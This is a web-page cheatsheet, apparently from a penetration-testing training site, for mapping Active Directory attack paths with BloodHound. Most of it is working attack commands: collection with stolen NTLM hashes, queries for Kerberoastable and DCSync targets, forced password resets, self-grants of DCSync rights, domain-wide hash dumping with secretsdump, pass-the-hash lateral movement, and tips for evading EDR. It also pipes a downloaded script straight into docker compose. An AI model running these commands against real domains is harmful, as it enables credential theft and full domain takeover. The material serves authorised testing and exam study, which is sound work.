BloodHound Cheatsheet 2026

Collection, ingestion, Cypher queries and Active Directory attack paths — everything you need to map a domain and find the shortest path to Domain Admin with BloodHound.

Last updated:

Quick Navigation

01 Collection (SharpHound) 02 Setup & Ingestion 03 Cypher Queries 04 Edges & Abuse 05 Attack Paths 06 Pro Tips

# Collection (SharpHound / bloodhound-python)

First, collect the domain data. Use SharpHound from Windows or bloodhound-python from Linux with valid domain credentials.

SharpHound (Windows)

.\SharpHound.exe -c All --zipfilename corp
Collect everything from a domain-joined or authenticated Windows host
.\SharpHound.exe -c DCOnly --Jitter 30 --Throttle 1000
Stealthier collection — DC-only, no session enumeration, throttled

bloodhound-python (Linux / Kali)

bloodhound-python -d domain.local -u USER -p PASS -c All -ns DC_IP --zip
Remote collection from Kali with valid domain credentials
bloodhound-python -d domain.local -u USER --hashes :NTLM_HASH -c All -ns DC_IP --zip
Collect using a captured NTLM hash (pass-the-hash)
nxc ldap DC_IP -u USER -p PASS --bloodhound -c All --dns-server DC_IP
Collect directly with NetExec (nxc) — no separate collector needed

# Setup & Ingestion

BloodHound CE runs in Docker with a web UI. Import the collected ZIP, then mark your compromised accounts as Owned.

curl -L https://ghst.ly/getbhce | docker compose -f - up
Launch BloodHound CE with the official Docker Compose file
💡 Tip: After first login (default admin), upload the ZIP via Administration → File Ingest. Legacy BloodHound: drag the ZIP onto the graph or use Upload Data.
# Right-click your compromised user/computer → Mark as Owned
Owned nodes power the "Shortest Paths from Owned Principals" queries

# Cypher Queries

Cypher is the graph query language behind BloodHound. These queries surface the highest-value targets instantly.

MATCH (u:User {hasspn:true}) RETURN u
Kerberoastable users (accounts with an SPN)
MATCH (u:User {dontreqpreauth:true}) RETURN u
AS-REP roastable users (no Kerberos pre-auth)
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p
Shortest path from your owned user to Domain Admins
MATCH (u:User)-[:MemberOf*1..]->(g:Group)-[:DCSync|GetChanges|GetChangesAll]->(:Domain) RETURN u
Principals that can perform DCSync (dump all hashes)
MATCH p=(u {owned:true})-[:GenericAll|WriteDacl|WriteOwner|ForceChangePassword*1..]->(t) RETURN p
ACL abuse paths from your owned principal to any target

# Edges & How to Abuse Them

Every edge is an abusable right. These are the ones you will exploit most on engagements and exams.

ForceChangePassword → net rpc password "TARGET" "NewPass1!" -U "DOMAIN"/"USER"%"PASS" -S DC
Reset a target user's password when you hold ForceChangePassword
GenericAll (on user) → targetedKerberoast.py -d domain.local -u USER -p PASS
Add an SPN and Kerberoast a user you have GenericAll over
AddMember → net rpc group addmem "TARGET GROUP" "YOURUSER" -U ... -S DC
Add yourself to a privileged group you can write to
WriteDacl → dacledit.py -action write -rights DCSync -principal USER -target-dn "DC=domain,DC=local"
Grant yourself DCSync rights by editing the domain DACL

# Attack Paths to Domain Admin

Turn the graph into action. Use the pre-built analysis queries, then execute each edge in the path.

💡 Tip: Pre-built queries in the Analysis tab: "Shortest Paths to Domain Admins", "Shortest Paths from Owned Principals", "Find Principals with DCSync Rights", "Kerberoastable Users".
impacket-GetUserSPNs domain.local/USER:PASS -dc-ip DC_IP -request
Execute the Kerberoasting step BloodHound identified
impacket-secretsdump domain.local/USER:PASS@DC_IP
Once a DCSync path is reached, dump every domain hash
evil-winrm -i TARGET -u USER -H NTLM_HASH
Move laterally along the path with pass-the-hash

# Pro Tips

Get more out of BloodHound on real engagements and in AD exams.

🎯 Mark everything Owned: As you compromise accounts, mark them Owned so "Shortest Paths from Owned" stays accurate and reveals new paths.
🧭 Sort by high value: Focus on high-value targets (DAs, DCs, Enterprise Admins). BloodHound flags them automatically.
🥷 Stay quiet: On monitored networks use -c DCOnly and skip session collection to avoid EDR alerts.
🔁 Re-collect after each win: New sessions and credentials open new edges — recollect after key compromises.
📚 Read the Help tab: Right-click any edge → Help explains exactly how to abuse it, with commands.

❓ BloodHound Frequently Asked Questions

BloodHound maps Active Directory relationships as a graph and reveals attack paths to Domain Admin. It collects users, groups, sessions, ACLs and trusts with a collector (SharpHound or bloodhound-python), then lets you run Cypher queries and shortest-path analysis to find privilege escalation chains invisible to manual review.

SharpHound is the C#/.NET collector run from a Windows host. bloodhound-python runs remotely from Linux/Kali with valid domain credentials — ideal when you don't have execution on a Windows box. Both output JSON you import into BloodHound.

Edges are directed relationships representing abusable rights — for example MemberOf, AdminTo, HasSession, GenericAll, WriteDacl, ForceChangePassword and DCSync. Each edge is a step in an attack path; the Help panel explains how to abuse every one.

Use the pre-built "Shortest Paths to Domain Admins" query, or mark your principal Owned and run "Shortest Paths from Owned Principals". Or write Cypher: MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p.

BloodHound CE is the current SpecterOps rewrite running in Docker with a web UI and PostgreSQL/Neo4j backend, replacing the older Electron app. The collectors and Cypher concepts are the same; CE improves scalability, the API and the query experience.

It can be. SharpHound with -c All is noisy — heavy LDAP, session enumeration and SMB trigger EDR. For stealth, collect only what you need (-c DCOnly), throttle with --Jitter/--Throttle, and skip session collection on monitored networks.

Shortest path to Domain Admins, Kerberoastable users (hasspn:true), AS-REP roastable users (dontreqpreauth:true), principals with DCSync rights, principals with GenericAll/WriteDacl over high-value targets, and computers where a compromised user has an active session.

In all three AD-heavy exams, BloodHound is used right after a foothold to map the domain and plan the path to Domain Admin. It highlights Kerberoasting targets, ACL abuse chains and lateral movement, turning a large domain into a clear, prioritized attack plan.

SharpHound produces a ZIP of JSON files. In BloodHound CE, use Administration → File Ingest; in legacy BloodHound, drag the ZIP onto the UI or use Upload Data. After ingestion, run pre-built queries or mark your compromised principals as Owned.

Yes. The free mindmap organizes 12,020+ commands including BloodHound collection, Cypher queries and the full AD attack chain (Kerberoasting, ACL abuse, DCSync) with instant search, so you find the exact command and query fast during an engagement or exam prep.

📚 Related Resources

Master Active Directory with 12,020+ commands

This cheatsheet is the surface. Pentest Mindmap organizes 12,020+ commands in 34 categories — including the full BloodHound and Active Directory attack chain — with instant search.

Start free →
📎 Found this cheatsheet useful?